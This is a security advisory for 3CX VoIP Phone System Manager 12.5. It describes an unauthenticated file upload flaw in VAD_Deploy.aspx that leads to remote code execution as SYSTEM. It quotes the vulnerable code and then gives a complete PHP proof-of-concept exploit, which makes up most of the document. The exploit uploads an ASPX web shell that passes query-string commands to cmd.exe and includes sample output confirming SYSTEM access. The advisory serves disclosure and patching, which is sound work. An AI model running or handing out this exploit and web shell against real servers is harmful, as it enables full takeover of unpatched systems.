Vulnerability Description
The 3CX product installs a Windows service called “Abyss Web Server” (abyssws.exe) which listens on default public ports 5000 (tcp/http) and 5001 (tcp/https) for incoming requests to the web panel and runs with NT AUTHORITY\SYSTEM privileges.
Without requiring authentication/authorization it is possible to upload arbitrary scripts into an accessible web path through the VAD_Deploy.aspx script.
Given this, it is possible to run arbitrary code/commands with the privileges of the target server.
Vulnerable Code
... <%@ Page Language="C#" EnableSessionState="false" %> <%@ Import Namespace="System.IO" %> <%@ Import Namespace="System.Web" %> <%@ Import Namespace="System.Web.Security" %> <%@ Import Namespace="System.Web.UI" %> <%@ Import Namespace="System.Web.UI.WebControls" %> <%@ Import Namespace="System.Web.UI.WebControls.WebParts" %> <%@ Import Namespace="System.Web.UI.HtmlControls" %> a <script runat="server"> private void validateProjectName(string projectName) { if (projectName.Contains("/") || projectName.Contains(@"\") || projectName.Split('_').Length < 2) throw new ArgumentException("projectname is invalid"); } private void Page_Load(object sender, EventArgs e) { Response.Cache.SetNoStore(); try { string projectName = Request.QueryString["projectname"]; <---------------receives a folder name here validateProjectName(projectName); <----------------------- cannot contain directory traversal sequences and must contain the "_" token if (!Directory.Exists(Server.MapPath(projectName))) Directory.CreateDirectory(Server.MapPath(projectName)); <---------------- a new folder is created string[] fileKeys = Request.Files.AllKeys; foreach (string key in fileKeys) { HttpPostedFile file = Request.Files[key]; string fileName = Server.MapPath(projectName + @"\" + file.FileName); <----------- this path is web accessible if (fileName.EndsWith(".vxml")) { using (StreamReader reader = new StreamReader(file.InputStream, Encoding.UTF8)) { string fileContent = reader.ReadToEnd(); fileContent = fileContent.Replace("audio src=\"", "audio src=\"file:///" + Server.MapPath(projectName + @"\")) .Replace("<var name=\"application.project$_WorkingDirectory$\" expr=\"''\" />", "<var name=\"application.project$_WorkingDirectory$\" expr=\"'" + Server.MapPath(projectName).Replace("\\", "\\\\") + "'\" />"); File.WriteAllText(fileName, fileContent, Encoding.UTF8); } } else file.SaveAs(fileName); <----------------------- boom } Response.Write("OK"); } catch (Exception exc) { Response.Write("ERROR: " + exc.Message); } } </script>
Proof of Concept
<?php /* 3CX VoIP Phone System Manager Server 12.5 VAD_Deploy.aspx Remote Code Execution PoC (SYSTEM privileges) Example output: C:\php>php 9sg_3cx_voip.php [*] Successfully uploaded. [*] Compile path -> (S(k53crmcychcdhet5bkltholi)) HTTP/1.1 200 OK X-AspNet-Version: 4.0.30319 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 21 Expires: Mon, 1 Jan 2001 00:00:00 GMT Connection: Close Date: Sun, 19 Apr 2015 00:23:22 GMT Server: Abyss/2.8.0.5-X2/B2-Win32 AbyssLib/2.8.0.1 nt authority\system C:\php> */ error_reporting(7); set_time_limit(0); $host="192.168.0.1"; //change here $port=5000; $cmd = "whoami"; $data="-----------------------------3020248567291 Content-Disposition: form-data; name=\"msg\"; filename=\"x.aspx\"; Content-Type: application/octet-stream whatever <script language=\"cs\" runat=\"server\"> void Page_Load(object sender, EventArgs e) { System.Diagnostics.Process si = new System.Diagnostics.Process(); si.StartInfo.WorkingDirectory = @\"c:\"; si.StartInfo.UseShellExecute = false; si.StartInfo.FileName = \"cmd.exe\"; si.StartInfo.Arguments = \"/c \" + Request.QueryString[\"cmd\"]; si.StartInfo.CreateNoWindow = true; si.StartInfo.RedirectStandardInput = true; si.StartInfo.RedirectStandardOutput = true; si.StartInfo.RedirectStandardError = true; si.Start(); string output = si.StandardOutput.ReadToEnd(); si.Close(); Response.Write(output); } </script> -----------------------------3020248567291-- "; $pk="POST /ivr/VAD_Deploy.aspx?projectname=suntzu_suntzu HTTP/1.1\r\n". "Host: ".$host."\r\n". "User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:37.0) Gecko/20100101 Firefox/37.0\r\n". "Accept-Encoding: text/plain\r\n". "Cookie: \r\n". "Content-Type: multipart/form-data; boundary=---------------------------3020248567291\r\n". "Content-Length: ".strlen($data)."\r\n". "Connection: Close\r\n\r\n". $data; $fp = fsockopen($host,$port,$e,$err,5); if (!$fp) {die("[!] Not connected");} fputs($fp,$pk); $out=""; while (!feof($fp)){ $out.=fread($fp,1); } fclose($fp); $tmp=explode("\r\n\r\n",$out); if (eregi("OK",$tmp[1])){ echo "[*] Successfully uploaded.\n"; } else { if (strpos($out,"Object moved to")){ $tmp=explode("Object moved to <a href=\"/ivr/",$out); $tmp=explode("/suntzu_suntzu",$tmp[1]); $compile_path = $tmp[0]; echo "[*] Compile path -> ".$compile_path."\n"; $pk="POST /ivr/".$compile_path."/VAD_Deploy.aspx?projectname=suntzu_suntzu HTTP/1.1\r\n". "Host: ".$host."\r\n". "User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:37.0) Gecko/20100101 Firefox/37.0\r\n". "Accept-Encoding: text/plain\r\n". "Cookie: \r\n". "Content-Type: multipart/form-data; boundary=---------------------------3020248567291\r\n". "Content-Length: ".strlen($data)."\r\n". "Connection: Close\r\n\r\n". $data; $fp = fsockopen($host,$port,$e,$err,5); if (!$fp) {die("[!] Not connected");} fputs($fp,$pk); $out=""; while (!feof($fp)){ $out.=fread($fp,1); } fclose($fp); } $tmp=explode("\r\n\r\n",$out); if (eregi("OK",$tmp[1])){ echo "[*] Successfully uploaded.\n"; } else { die("Unknown error."); } } sleep(1); $pk="GET /ivr/suntzu_suntzu/x.aspx?cmd=".urlencode($cmd)." HTTP/1.1\r\n". "Host: ".$host."\r\n". "User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:37.0) Gecko/20100101 Firefox/37.0\r\n". "Connection: Close\r\n\r\n"; $fp = fsockopen($host,$port,$e,$err,5); if (!$fp) {die("[!] Not connected");} fputs($fp,$pk); $out=""; while (!feof($fp)){ $out.=fread($fp,1); } fclose($fp); if (strpos($out,"Object moved to")){ $tmp=explode("Object moved to <a href=\"/ivr/",$out); $tmp=explode("/suntzu_suntzu",$tmp[1]); $compile_path = $tmp[0]; echo "[*] Compile path -> ".$compile_path."\n"; $pk="GET /ivr/".$compile_path."/suntzu_suntzu/x.aspx?cmd=".urlencode($cmd)." HTTP/1.1\r\n". "Host: ".$host."\r\n". "User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:37.0) Gecko/20100101 Firefox/37.0\r\n". "Connection: Close\r\n\r\n"; $fp = fsockopen($host,$port,$e,$err,5); if (!$fp) {die("[!] Not connected");} fputs($fp,$pk); $out=""; while (!feof($fp)){ $out.=fread($fp,1); } fclose($fp); echo $out."\n"; } else{ echo $out."\n"; } ?>
Vendor Response
The vendor has issued two bulletins urging his customers to upgrade to the latest version which resolved the above-mentioned vulnerabilities: http://www.3cx.com/blog/news/security-bulletin/ and http://www.3cx.com/blog/releases/upgrade-v10-v11/.